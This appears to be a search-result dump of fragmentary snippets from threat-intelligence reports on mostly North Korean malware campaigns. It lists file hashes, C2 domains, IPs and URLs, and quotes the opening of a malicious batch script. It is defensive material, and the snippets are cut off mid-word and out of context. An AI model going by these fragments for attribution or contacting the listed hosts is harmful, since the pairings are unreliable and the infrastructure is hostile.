Domains: airbseeker.com globalkeystroke.com…","…MD5 451c23709ecd5a8461ad060f6346930c SHA1 58b0516d28bd7218b1908fb266b8fe7582e22a5f SHA256 5e40d106977017b1ed235419b1e59ff090e1f43ac57da1bb5d80d66ae53b1df8 SHA512…","…5009C7D1590C1F8C05827122172583DDF924C53B55A46826ABF66DA46725505A 5C907B722C53A5BE256DC5F96B755BC9E0B032CC30973A52D984D4174BACE456 5E40D106977017B1ED235419B1E59FF090E1F43AC57DA1BB5D80D66AE53B1DF8 60666CACDD6806ED05771F32EAA719E3EFD2F4DB55F28A447D383C3EAC1DC72E 63FB47C3B4693409EBADF8A5179141AF5CF45A46D1E98E5F763CA0D7D64FB17C…","…MD5 aeee54a81032a6321a39566f96c822f5 SHA1 53aa0971eb5d53ed242764ebfc89ad591a5211b2 SHA256 5e54bccbd4d93447e79cda0558b0b308a186c2be571c739e5460a3cb6ef665c0 SHA512…","…(2023.11.09.00) MD5 0040aa9762c2534ac44d9a6ae7024d15 209ac4185dfc1e4d72c035ecb7f98eac 40b7c3bced2975d70359a07c4f110f18 5e5a87d0034e80e6b86a64387779dc2e 64dee04b6e6404c14d10971adf35c3a7 URL…","…56da872e8b0f145417defd4a37f357b2f73f244836ee30ac27af7591cda2d283 5e7edc8f1c652f53a6d2eabfbd9252781598de91dbe59b7a74706f69eb52b287 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db…","…IOCs md5 a56edfef94008c77abfb4e151df934d9 30d5f17d5e3f85be18220a7cab0b9fff 5e9a80d3d4f71ecd8bf8e579a5e2449c f692c1dd797f68c34744a377482c4ed4 b77e4e9f5897f00dcbd08b2ee9bde7e8 74b1d5f857a4245aef8189ac4f409a99 6cbc007799b56682ac196e44d79e496d a9…","…a03f8e 0aaec376904434197bae4f1a10ecfe8d4564d95fdfa8236ea960535710661c5f 0329bb5b3a450b0a8f148a57e045bf6ed40eb49a62e026bd71b021a2efc40aed 5ea09247ad85915a8d1066d1825061cc8348e14c4e060e1eba840d5e56ab3e4d 2189aa5be8a01bc29a314c3c3803c2b8131f49a84527c6b0a710b50df661575e ba59f1ece68fa051400fd46467b0dc0a5294b8644c107646e75d225a45fff015 Appen…","…cf8c0999c148d764667b1a269c28bdcb 80ab98c10c23b7281a2bf1489fc98c0d 4c4abe85a1c68ba8385d2cb928ac5646 00a2952a279f9c84ae71367d5b8990c1 5eac943e23429a77d9766078e760fc0b SHA-256…","…( https://asec.… MD5 5eb09dd7aafdd5af5a8396497f99e0e7 URL…","…with a benign system file data, so only the RC4 key rema ined untouched and was found in the registry. Malware 10: Keylogger MD5: 5ebfe9a9ab9c2c4b200508ae5d91f067 Known f ilenames: NCVlan.dat File size: 73'216 bytes Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time:…","…57 ae7e18a62abb7f93b657276dcae985b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16a8aaaf2e3125668e6bfb1705a065f9 64d729d0290e2c8ceaa6e38fa68e80e9 443a00feeb3beaea02b2fbcd4302a3c9 e13c3a38ca58fb0fa9da753e857dd3d5 e4…","…있다 . D: \\ TASK \\ ProgamsByMe(2015.1~) \\ ShellCode \\ Debug \\ HwpConvert.pdb 공격자 가 이용한 것으로 보이는 관리 프로그램도 발견되었다 ( md5: 5ef03b48b4ae68c572028c72572444d2 ) . [ 분석보고서 ] Red Eyes Hacking Group © AhnLab, Inc.…","…75940e 59283e60015923ab16f51dcb29350158f8f86e6d86dcaf8377468bb20bea3570 5bfa034f7555a38e64c078af71b4ff8c49511579fa826a87661940b7e9a6e333 5f05c1dffda819f082a1df8cc81faa77d3d69ba4b1d0a2092c2d5b66234f2d7e 5f2ac8672e19310bd532c47d209272bd75075696dea6ffcc47d1d37f18aff141 623458ffccbc4641a78914dcf9efdd78bbbd9103fc36d186c534a6d1aea4333d 71841a…","…악성코드 가 생성한 파일 I.O.C 파일명:공적조서(개인, 양식).lnk 사이즈:232,042,783 Bytes MD5:5adfa76b72236bf017f7968fd012e968 SHA-1:5f0d09853fb459500237105201bbf33c09da2126 SHA-256:7df7ad7b88887a06b559cd453e7b65230d0cccff1a403328a521d8753000c6c9 2024-12-10 09:38:11 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과…","…5e7edc8f1c652f53a6d2eabfbd9252781598de91dbe59b7a74706f69eb52b287 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db 61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4…","…SHA-256 3cc47aea39c48aa22fbf246f11cd4aaa8179efa48bb1c3e30fbf70541fe2cf87 5f23b1ca43f6a18e3c9f21d390f5d1e187b1339b07a1dce70f8338f3be320878 6ffb5106d912e582bde2c095365fa37a441741e4b9ea7f856b2ecad9516b74c2 784d5df037879ed47cf46f8b2ec2c54e3c590805dbc05539ddd8c328215644a7…","…ea3570 5bfa034f7555a38e64c078af71b4ff8c49511579fa826a87661940b7e9a6e333 5f05c1dffda819f082a1df8cc81faa77d3d69ba4b1d0a2092c2d5b66234f2d7e 5f2ac8672e19310bd532c47d209272bd75075696dea6ffcc47d1d37f18aff141 623458ffccbc4641a78914dcf9efdd78bbbd9103fc36d186c534a6d1aea4333d 71841a1b5ee1b383a9282bf513723b7f1713a0e1ee501db38d64c2db9ba08ec4 74d6b8…","…This helped us to identify this RAT as BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D ), reported for the first time by CISA .…","…SHA1 5f549663a4836ee2ea82c79aa786f2541cd8f421 37ff1f0febf3131bd82dcfd30bb83f96b04aed7b 17f9e40a0315699e7b7e69397b661d5af66dd871 4d056026488c0c9a2e15d915fde87dbe202b3126…","…침해 지표 (Indicator of Compromise) ● MD5 (Kimsuky / ReconShark) cb82751ae9f84709268fd5e5b135b74e 5f6303697bf8e978bf674ea8a7094673 cb82751ae9f84709268fd5e5b135b74e d87ba0743c3de99f02b277068b9aea95 1cfef99f68b749d81736397e652c3d87 a27a6dbb2144f2dff187d8abc7b3eafb ● MD5…","…System (T1113) Screen Capture Command and Control (T1102.002) Web Service: Bidirectional Communication IoC MD5 5F6682AD9DA4590CBA106E2F1A8CBE26 : LNK 파일 A1640EB8F424EBE13B94955F8D0F6843 : working.bat 78480139D86520BA82766C5B3C9A7479 : temp.dat 31AEB43B981D4D6272193E321BB21333 :…","…침해 지표 (Indicator of Compromise) ● MD5 5f6682ad9da4590cba106e2f1a8cbe26 7a66738cca9f86f4133415eedcbf8e88 105ecd9f6585df4e1fe267c2809ee190 852544f01172b8bae14ec3e4d0b35115 358122718ba11b3e8bb56340dbe94f51 acf4085…","…Information Theft and Espionage Indicators of Compromise IP 108.181.50.58 158.247.219.10 175.214.194.61 61.97.243.2 MD5 5f6682ad9da4590cba106e2f1a8cbe26 SHA-256 dbd5d662cc53d4b91cf7da9979cdffd1b4f702323bb9ec4114371bc6f4f0d4a6 SHA1 7043c7c101532df47c832ce5270745dd3d1e8c08…","…of Compromise (IoCs) File hashes Name: Diplomacy Journal_Request for Your Excellency’s interview with Diplomacy Jo~.zip MD5: 5f704db7552a0b6b535b9c7c5f240664 SHA256: 1e10203174fb1fcfb47bb00cac2fe6ffe660660839b7a2f53d8c0892845b0029 Name: Invitation from U.S.…","…c1d6a5940045b7ff0063b85d89750979d8501d52815b0134fb556f2c12210369 ApplicationCacher-f0182c1a4.rbs 5f77737c1f4bd8b1868dc50efce1bbf5 c85c825f1e2ef66d83dc1cf011f8b2e6aee08fa8 93d78712eb3f9e81286a9ebcffe6296ef05eb20dd53a76c16f6fb5384b0baf26 Cacher.hls-iol…","…83972.tmp (zzG.zip) 13 MD5 9f1c9fc7aa773e7a86a79180c42887e1 G3892.tmp (zzG.zip) 14 MD5 5fca1117c0e5ee6de3c169eebc903227 83972.tmp (zzJG_2.zip) 15 MD5 1e9d94d88fdac3c4a0a47a3a1d07e329 G3892.tmp (zzJG_2.zip) 16…","…: E2487B33A6510D6F51B8AA158A36C6C290E885A66A9E30D54E3BB1FE0EA79777 FileName : resource_PDF MD5 : 5FDC8906A03FFD214E09816FDC58059A SHA1 : C618645233B311E18E13322FFEBEC2677893DF50 SHA256 : F7E04D06690CC6C2FA699C70B9F95AC47E1393E0F6B5470BA2D85DFEF28AF996 FileName :…","…C2 from netchk Domain support.us05web-zoom.pro Fake support site and C2 for initial malicious scripts SHA256 5fe5b1d879251d1618e275099cc63636d699a7f9b45176abe66283201b8ee877 CoreKit Malware SHA256 803d5db6296a5829b168ae45087356f49255579afbcb58fb43c4fb8c3819da28 GoogIe LLC malware SHA256…","…IoC Indicator Type Description Detection Name 5FE869D0D68086A231574F83A6C8C35E MD5 악성 LNK Trojan.Agent.LNK.Gen C7D258F44B4A09850D7CB9A0142EA88E MD5 kid1253514379.bat Trojan.BAT.Agent…","…Once clicked the BAT script executes, which is as follows: Filename: 327.batSHA256: 5fec6e533fb9741997530a3d43b60ee44e2e6dc0fd443ef135b9d311b73d92a8 @echo off IF EXIST \"%PROGRAMFILES(X86)%\" (set pspath=\"%windir%\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe\") ELSE (set…","…Once clicked the BAT script executes, which is as follows: Filename: 327.bat SHA256: 5fec6e533fb9741997530a3d43b60ee44e2e6dc0fd443ef135b9d311b73d92a8 @echo off IF EXIST \"%PROGRAMFILES(X86)%\" (set pspath=\"%windir%\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe\") ELSE (set…","…Data Exposure Indicators of Compromise IP 103.149.98.247 MD5 a9b1c04438930c0c7cff3fe8e8520317 89a725b08ab0e8885fc03b543638be96 6013a54ceee15912385ef8c41405a819 SHA-256…","…bb 790a21734604b374cf260d20770bfc96 d3a988a9750cb6582310c806fa32d4f1 805949896d8609412732ee7bfb44900a 1bf36342c0506a58369a3b530b7d0bcc 60214745027c7efa7cc920d43d9c254a 9a06ce2b0b038de9147f93bbb3b3c56c 173edf96e60b3fd520801a6c1adee7e0 2a78bf4487915d91855d0c4661d974a0 071107f7bddc8ca6e8a8c3c94931512c 59…","…data\" --End registry key-- e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7 Tags proxytrojan Details Name 60294C426865B38FDE7C5031AFC4E453 Size 778240 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 60294c426865b38fde7c5031afc4e453 SHA1…","…the 3Proxy tool deployment. MD5 cf236bf5b41d26967b1ce04ebbdb4041 SHA1 feb79a5a2bdf0bcf0777ee51782dc50d2901bb91 SHA256 60425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d0875a0f25145 Link time 2020-09-16 14:16:21 File type PE32 executable (GUI) Intel 80386, for MS Windows Compiler VS2008 build 21022…","…Name CrashReporter Size 39168 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 6058368894f25b7bc8dd53d3a82d9146 SHA1 8644da026f9e8873dd8699bd68c77a25001be726 SHA256 e352d6ea4da596abfdf51f617584611fc9321d5a6d1c22aff243aecdef8e7e55 SHA512…","…5C907B722C53A5BE256DC5F96B755BC9E0B032CC30973A52D984D4174BACE456 5E40D106977017B1ED235419B1E59FF090E1F43AC57DA1BB5D80D66AE53B1DF8 60666CACDD6806ED05771F32EAA719E3EFD2F4DB55F28A447D383C3EAC1DC72E 63FB47C3B4693409EBADF8A5179141AF5CF45A46D1E98E5F763CA0D7D64FB17C 689CFAA9319F3F7529A31472ECF6B2E0CA6891B736DE009E0B6C2EBAC958CC94…","…(GUI) Intel 80386, for MS Windows MD5 2d92116440edef4190279a043af6794b SHA1 eb2eb432445b3dcf6483e7d5f670acb94a8bab70 SHA256 606c6000f36dc69fefc6df828e1ac9c5529a71a62b99f5df55463606c4c9689c SHA512…","…221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 ARTFULPIE SHA-256: 606c6000f36dc69fefc6df828e1ac9c5529a71a62b99f5df55463606c4c9689c 193.56.28.103 HOTCROISSANT SHA-256: 8ee7da59f68c691c9eca1ac70ff03155ed07808c7a66dee49886b51a59e00085 94.177.123.138 CROWDEDFLOUNDER…","…01 4de19e2c39b1d193e171dc8d804005a4 12539ac37a81cc2e19338a67d237f833 a4d58f1bcce687d4ea60a3fe60120d5e 19ef39e9936b7b46e88d55115dfa9679 6083a1af637d9dd2b2a16538a17e1f45 ca2917006eb29171c9e5f374e789f53a C2 uppgrede.scienceontheweb.net qwert.mine.bz office.pushitlive.net 216.189.154.6 URL…","…Summit-24Mar-rev26Mar19.doc Last Modified Date (KST) 2019-03-26 09:45 Last Modified Name windowsmb C2 n/a MD5 60973af3b8ecbbb0ab659124409b7df1 File Name Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc Last Modified Date (KST) 2019-03-27 10:06…","…Last Modified Date (KST) 2019-03-26 09:45 Last Modified Name windowsmb C2 n/a MD5 60973af3b8ecbbb0ab659124409b7df1 File Name Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc Last Modified Date (KST) 2019-03-27 10:06…","…The Ransomware: gaze.exe Property Value SHA-256 15208030eda48b3786f7d85d756d2bd6596ef0f465d9c8509a8f02c53fad9a10 MD5 60aaafce354ae5e0b8115729464a8b24 SHA-1 53948d9596ebab5c4cf2ac04e7fb70c429e0cbbf Size 638,976 bytes (624 KB) Architecture x86 (32-bit) Compiler MSVC (VS2019…","…-- gaze.exe (Medusa Ransomware) Hash Type Value SHA-256 15208030eda48b3786f7d85d756d2bd6596ef0f465d9c8509a8f02c53fad9a10 MD5 60aaafce354ae5e0b8115729464a8b24 SHA-1 53948d9596ebab5c4cf2ac04e7fb70c429e0cbbf Imphash 82a8292007e682f1a127ba8dcebfae96 Rich Hash c8040dd3ff2f4afd042efd4ebe1a43c6…","…033334b1b68c c91f346d077efbcf45e53e4876b6b23f1e241db4 2efdf82808cd7f63ebc66f553ae94127c3d7c60b 8380d7451f9c4477dd2e8c7c0ba46471bfc6dc27 60be225d1a90070d22bf2abcc740d311041cb432 78027c3800ff58321371a28b1e2a6d7e870add60 4a93fe1e7fce91f3c3d99c733d9628ed952dbf2a 5e38363e7c196a3627dc10a8292bb72473599c2e URL…","…Name KupayUpgrade.exe Size 115712 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 60c2efdafbffc5bd6709c8e461f7b77d SHA1 dbddccba18422eea5d7bb1bdfe66ceee90446a45 SHA256 fc1aafd2ed190fa523e60c3d22b6f7ca049d97fc41c9a2fe987576d6b5e81d6d SHA512…","…97aaf130cfa251e5207ea74b2558293d 62217af0299d6e241778adb849fd2823 0dd7da89b7d1fe97e669f8b4156067c8 61075faba222f97d3367866793f0907b File / Process name bitsran.exe APPENDIX B – YARA RULE rule Hermes2_1 { meta: date = \"2017/10/11\" author = \"BAE\"…","…ransomware DTrack malware MD5 739812e2ae1327a94e441719b885bd19 SHA1 102a6954a16e80de814bee7ae2b893f1fa196613 SHA256 6122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f6b2398728f67 Link time 2021-03-30 02:29:15 File type PE32 executable (GUI) Intel 80386, for MS Windows Compiler VS2008 build 21022…","…Type : x86, dll NppAStyle.dll - MD5 : 98151ba9f3e0a55bba16c58428b3a178 - SHA256 : 61367c3a1d4c9ccaee568157bc4cf2feb997161ed3395878a448d8a2bf67dfa9 - Type : x64, dll - 1번 악성코드와 동일한 문자열 테이블 사용 추가 악성코드 다운로드지 grandgolf.co.kr/html/facilities/facilities_01_06.asp? product_field=racket…","…Hash-SHA256 4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79 Hash-SHA256 616e60f031b6e7c4f99c216d120e8b38763b3fafd9ac4387ed0533b15df23420 Hash-SHA256 66334f10cb494b2d58219fa6d1c683f2dbcfc1fb0af9d1e75d49a67e5d057fc5 Hash-SHA256…","…(GUI) Intel 80386, for MS Windows MD5 0ae8a7b6b4d70c0884095629fc02c19c SHA1 9efa2d68932ff24cb18eb7e35aa5f91ce99596e8 SHA256 618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6 SHA512…","…SHA-256: 1ea6b3e99bbb67719c56ad07f5a12501855068a4a866f92db8dcdefaffa48a39 SHA-256: 618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6 SHA-256: 738ba44188a93de6b5ca7e0bf0a77f66f677a0dda2b2e9ef4b91b1c8257da790 159.100.250.231 BUFFETLINE SHA-256:…","…acts as a payload carrier: File name: folder.zip File size: 5.69 MB (5969884 bytes) MD5: cae6a87fd9ab544e5ccceb38f35c201e SHA256: 61ce43ea1c2ddafb23ee8ee083417fd375bbefce200f9bb48166af7c67df4d3c Last Modified: 24-02-2025 The zip archive contains a .LNK file, along with two PDF files: 2024년 귀속 연말정산 안내문_세한.docx.lnk (MD5:…","…5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db 61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4 67f1db122ad8f01e5faa60e2facf16c0752f6ab24b922f218efce19b0afaf607…","…used to establish persistence. 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 Tags trojan Details Name 61E3571B8D9B2E9CCFADC3DDE10FB6E1 Size 258052 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 61e3571b8d9b2e9ccfadc3dde10fb6e1 SHA1…","…60 484bcb44845946e444f05295cf19e98e 72b3765580c8c8588feccf06f98c090b 5776368e1a8483d11f3ee1c383f193c4 7095811df4cb1ee4135ce605af7f163f 61f4946837d7cd1701eedb3c372121c6 1da701990560b8b0db2c4441145a3ee3 71dbebb8a31ea3de0115851bb15fd2bc 74e3d84492845067a0da6cfa00c064eb 445e7fd6bb684420d6b8523fe0c55228 fe…","…침해 지표 (Indicator of Compromise) ● MD5 16eb2cceb920319eaddd5d7b85483cc4 61f65bd593ea0e52ac0dfdc6bc9cd73a 87dc4c8f67cffc8a9699328face923e2 95b8ceebbd6e983914a13c1cd774028a 3334d2605c0df26536058f73a43cb074 5613ba2032bc1528991b583e17bad59a a3cb0eb…","…of Compromise) MD5 148405ff05bf15a6a053e4e7c1795d40 2e1b0ac49313873a0e0b982c591a5264 7dc50e8af0070e544bff5299405cd3b9 61f65bd593ea0e52ac0dfdc6bc9cd73a 461ade40b800ae80a40985594e1ac236 01022facb38cf60b052e65a682f4a127 3288c284561055044c489567fd630ac2 C2 drfeysal.com…","…3c9e71400b72cc0213c9c3e4ab4df9df 0edbad9e6041d43f97c7369439a40138 97aaf130cfa251e5207ea74b2558293d 62217af0299d6e241778adb849fd2823 0dd7da89b7d1fe97e669f8b4156067c8 61075faba222f97d3367866793f0907b File / Process name bitsran.exe APPENDIX B – YARA…","…t.zip MD5 4cbafb288263fe76f5e36f1f042be22d s.vbs 622358469e5e24114dd0eb03da815576 xM568.tmp 0c3fd7f45688d5ddb9f0107877ce2fbd 07578.tmp 73ed9b012785dc3b3ee33aa52700cfe4 C2 - 64.49.14.181 ports 8014,7032…","…off Elastic’s research, we identified a number of other versions of KANDYKORN RAT, with the following SHA1s: SHA1 First Seen 62267b88fa6393bc1f1eeb778e4da6b564b7011e Apr 2023 8f6c52d7e82fbfdead3d66ad8c52b372cc9e8b18 Apr 2023 ac336c5082c2606ab8c3fb023949dfc0db2064d5 Apr 2023…","…a6e333 5f05c1dffda819f082a1df8cc81faa77d3d69ba4b1d0a2092c2d5b66234f2d7e 5f2ac8672e19310bd532c47d209272bd75075696dea6ffcc47d1d37f18aff141 623458ffccbc4641a78914dcf9efdd78bbbd9103fc36d186c534a6d1aea4333d 71841a1b5ee1b383a9282bf513723b7f1713a0e1ee501db38d64c2db9ba08ec4 74d6b81565aeb95ee9df37ef7738d10baa9866261fb894d9ee9d67fc7c66badc 7603be…","…6f736eac915c2b647bfbba9e5dccf0cb 660bfbeeaf674e4e95c43bb61d7d0aec88154527e1218e51c1cb75d77c8acdda 6251126c3a44d5f8a72f0790ae8aba1b195cb5b2 610303b58eb5d039c15061e48b743d17 ec1205a050693f750dd6a984b68eb2533539a34a5602744127d1b729b22f42fd…","…SHA-256 20e4c50dd521b8561510e15f99c677409b17f69cc3825d9f76326c665c672fb4 625c361380bf472c16edec72f5c3a87e9f5be5864d5995bed47997f9d0341180 c045b9da0456430268861da18735f7e8ebb2d1df771ca803a2535bdc8f7a6e89 707e8cb56f32209ca837f2853801256cd3490ed2cc4b3428dc5e4238848f226d…","…f0df6e594 06e2ab3fe5afc927642244644dfddb0f920ff1ab11c5e5631e26dbd62ed6978a 5d25e53b59bd2dcf234c6819f8cd294efe6d943d04625b9d575002362794e74a 6263530f1bde08b13872252fa1e90efc0ac5c8d433db6931316c8eb7322d23c4 30584f13c0a9d0c86562c803de350432d5a0607a06b24481ad4d92cdf7288213 → Blog → Press & News → About → Contact Us Copyright ©…","…but there are several indicators worth calling out. Stage 0: The ZIP File Filename : No clue (just got the SHA256) SHA256 : 627ee714b1e4f5bd692061e1c29783191f71c10c91f14c632e405fbe57d4dd3b File Type : ZIP archive File Size : 3.25 MB Contents : 제안서.pdf.lnk (LNK File) First Seen on VT : April 11, 2025 This…","…fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 bb915073385dd16a846dfa318afa3c19 6285ffb5f98d35cd98e78d48b63a05af6e4e4dea dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc 9833a4779b69b38e3e51f04e395674c6…","…Name UnionCryptoUpdater.exe Size 161280 bytes Type PE32+ executable (console) x86-64, for MS Windows MD5 629b9de3e4b84b4a0aa605a3e9471b31 SHA1 1ef0e1cabd344726b663cec8d9e68f147259da55 SHA256 01c13f825ec6366ac2b6dd80e5589568fa5c8685cb4d924d1408e3d7c178902f SHA512…","…Size 128512 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 eb6275a24d047e3be05c2b4e5f50703d SHA1 62faf15eddb64dce9a2b1ba242254271facffd9f SHA256 4838f85499e3c68415010d4f19e83e2c9e3f2302290138abe79c380754f97324 SHA512…","…해당 파일이 생성되는 경로와 파일 정보는 아래와 같다 . Path C:/Users/Public/Libraries/AlgStore.exe Hash 6310cd9f8b6ae1fdc1b55fe190026a119f7ea526cd3fc22a215bda51c9c28214 [ 표 11] 다운로더 악성코드 생성 경로와 파일 정보 월간 Security Report No.31 | 2021 년 11 월 - 32 - 4.6.4 Privacy-i EDR 취약점 공격…","…MD5 da17802bc8d3eca26b7752e93f33034b SHA1 e8f29f1e3f35a4f2c18be424551e280ed66b1dd7 SHA256 631ac269925bb72b5ad8f469062309541e1edfec5610a21eecded75a35e65680 SHA512…","…- www.kgls.or.kr/news2/news_dir/02BC6B26_put.jpg (where 02BC6B26 is randomly generated) \"Are You Happy?\" Campaign: Wiper sha256: 6332c97c76d2da7101ad05f501dc1188ac22ce29e91dab6d0c034c4a90b615bd \"FreeMilk\" Campaign: Office sha256: f1419cde4dd4e1785d6ec6d33afb413e938f6aece2e8d55cf6328a9d2ac3c2d0 HTA sha256:…","…Name 633BD738AE63B6CE9C2A48CBDDD15406 Size 110592 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 633bd738ae63b6ce9c2a48cbddd15406 SHA1 9807eadca9016f843ee35426d06bf67860d9cc39 SHA256 134b082b418129ffa390fbee1568bd9510c54bfdd0e6b1f36bc7b8f867e56283 SHA512…","…Hash-MD5 c9ede1054fef33720f9fa97f5e8abe49 Hash-MD5 f9cee5e75b7f1298aece9145ea80a1d2 Hash-MD5 638f9235d038a0a001d5ea7f5c5dc4ae Hash-MD5 80a2af99fd990567869e9cf4039edf73 Hash-MD5 c39ed6f52aaa31ae0301c591802da24b Hash-MD5…","…f5842320e04c2c97d1f69cebfd47df3d 6a4c3256ff063f67d3251d6dd8229931 8b8fa6c4298d83d78e11b52f22a79100 303c5e4842613f7b9ee408e5c6721c00 639b5489d2fb79bcb715905a046d4a54 908d074f69c0bf203ed225557b7827ec 0171338d904381bbf3d1a909a48f4e92 0777781dedd57f8016b7c627411bdf2c 94935397dce29684f384e57f85beeb0a a9…","…IoC md5 63a119714f01d9ff57c51614c9727f84 한국방위산업학회 방위산업 디지털 혁신 세미나(계획).hwp 0337ebf5f6f3895bcb884731ac491f7f default.bat 4ab80f99a8a16c0e413f527ae50b6439 document.bat…","…3b4317 0dc17133b9d54b8d38f5a4f4c49eb0cee7ff2c80b1ea614fb59ca49c3721440b 23c18fe6675b4dad5e1354718fa9bbb096ded4293948d318d0057b51642c4cbb 63c45dd760256bb2bee1eeb9e7d61601c90a752ff46832df39ca1a8d2376b281 82286cf6369eddd2e79d005a435623abe2db642c216d38550411865acf84210e 9255280904f85d01545d295a31038678d697325385be6c7c01435d541f16b043 d1b5d6…","…SHA-256 Malicious Putty.exe aaad412aeb0f98c2c27bb817682f08673902a48b65213091534f96fe6f5494d9 SHA-256 Malicious colorui.dll 63cddab76e9d63e3cbea421b607342735d924e462c40f3917b1b5fbdf8d4a20d SHA-256 Malicious Amazon-Kitty.exe e1ecf0f7bd90553baaa83dcdc177e1d2b20d6ee5520f5d9b44cdf59389432b10 SHA-256 Malicious KiTTY implant for…","…492a643bd1efdaca4ca125ade1b606e7bbf00e995ac9115ac84d1c4c59cb66dd Comebacker SHA256 hash: 63fb47c3b4693409ebadf8a5179141af5cf45a46d1e98e5f763ca0d7d64fb17c CollectionRAT SHA256 hashes: db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984…","…5E40D106977017B1ED235419B1E59FF090E1F43AC57DA1BB5D80D66AE53B1DF8 60666CACDD6806ED05771F32EAA719E3EFD2F4DB55F28A447D383C3EAC1DC72E 63FB47C3B4693409EBADF8A5179141AF5CF45A46D1E98E5F763CA0D7D64FB17C 689CFAA9319F3F7529A31472ECF6B2E0CA6891B736DE009E0B6C2EBAC958CC94 69C917EA96DB28DBD5B67073CA0AAC234D25651A849171B45F20979EAFA05A1C…","…Filename: winload.dll CC Pactchfilepacks.net23.net checkmail.phpnet.us 2017 Campaign B: DropperSHA256: 640477943ad77fb2a74752f4650707ea616c3c022359d7b2e264a63495abe45e Filename: Inter Agency List and Phonebook - April 2017 RC_Office_Coordination_Associate.scr Dropped #1 SHA256:…","…또한, 주로 개인을 대상으로 활동하는 특성을 고려할 때, 개인 사용자는 스피어 피싱과 같은 초기 침투 기법에 대한 경각심을 높이고 보안 제품의 최신 업데이트를 유지함으로써 유사 공격에 대해 사전 예방할 필요가 있다. MD5 641593eea5f235e27d7cff27d5b7ca2a 70d92e2b00ec6702e17e266b7742bbab 876dbd9529f00d708a42f470a21a6f79 a5cca2b56124e8e9e0371b6f6293e729 a8976e7dc409525a77b0eef0d0c3c4f2…","…initial access techniques like spear-phishing and keep their security products up to date to prevent such attacks in advance. MD5 641593eea5f235e27d7cff27d5b7ca2a 70d92e2b00ec6702e17e266b7742bbab 876dbd9529f00d708a42f470a21a6f79 a5cca2b56124e8e9e0371b6f6293e729 a8976e7dc409525a77b0eef0d0c3c4f2…","…MD5 SHA1 SHA256 Malicious ICO File 644f63f869e2b0a9e5d1aa32823956cc 96910a3dbc194a7bf9a452afe8a35eceb904b6e4 a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c MD5 SHA1 SHA256 Malicious ICO…","…5: ecf75bec770edcd89a3c16d3c4edde1a bcf97660ce2b09cbffb454aa5436c9a0 13ff15ac54a297796e558bb96feaacfd cace67b3ea1ce95298933e38311f6d0b 645adf057b55ef731e624ab435a41757 bde4747408ce3cfdfe8238a133ebcac9 421b1e1ab9951d5b8eeda5b041cb0657 d2f08e227cd528ad8b26e9bbe285ae3c 04deb35316ebe1789da042c8876c0622 af…","…Exfiltration T1041 Exfiltration Over C2 Channel IoCs: MD5 File Name 1119A977A925CA17B554DCED2CBABD8 *.lnk 64677CAE14A2EC4D393A81548417B61B 1.log F0F63808E17994E91FD397E3A54A80CB 2.log A3353EA094F45915408065D03AE157C4 prevenue.hta…","…C2 : http://congre.co.kr/_Ext/adodb5/perf/com1/download1/down.php himTray.dll md5 : 5cc715e6a91385c5c092ff79c73592aa sha1 : 64c9e04e9dd12796e76436364967ba85f2527a33 sha256 : a9c028a68deb18d900701a92bfd432acfee275c8b66cd196402c41ab0621fe39 Additional Information.…","…(2022.03.24.00) – VBS에 의해 생성된 DLL : Trojan/Win.Kimsuky.C5025516 (2022.03.24.00) MD5 3ea9b50289aecccc7ffd04fa814c1a5c 64cbd6f435538175dc06ea4b84cba46d 856072827cec7b74ead3ce40e55bd8d1 b3c7df17420d48f61bbfcf2bac3ae4a3 URL https://regular.winupdate.kro.kr/index.php…","…da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16a8aaaf2e3125668e6bfb1705a065f9 64d729d0290e2c8ceaa6e38fa68e80e9 443a00feeb3beaea02b2fbcd4302a3c9 e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1…","…0040aa9762c2534ac44d9a6ae7024d15 209ac4185dfc1e4d72c035ecb7f98eac 40b7c3bced2975d70359a07c4f110f18 5e5a87d0034e80e6b86a64387779dc2e 64dee04b6e6404c14d10971adf35c3a7 URL…","…discovery System time discovery Credential dumping Exploitation of vulnerability Process injection File deletion Hashes 650b7d25f4ed87490f8467eb48e0443fb244a8c4 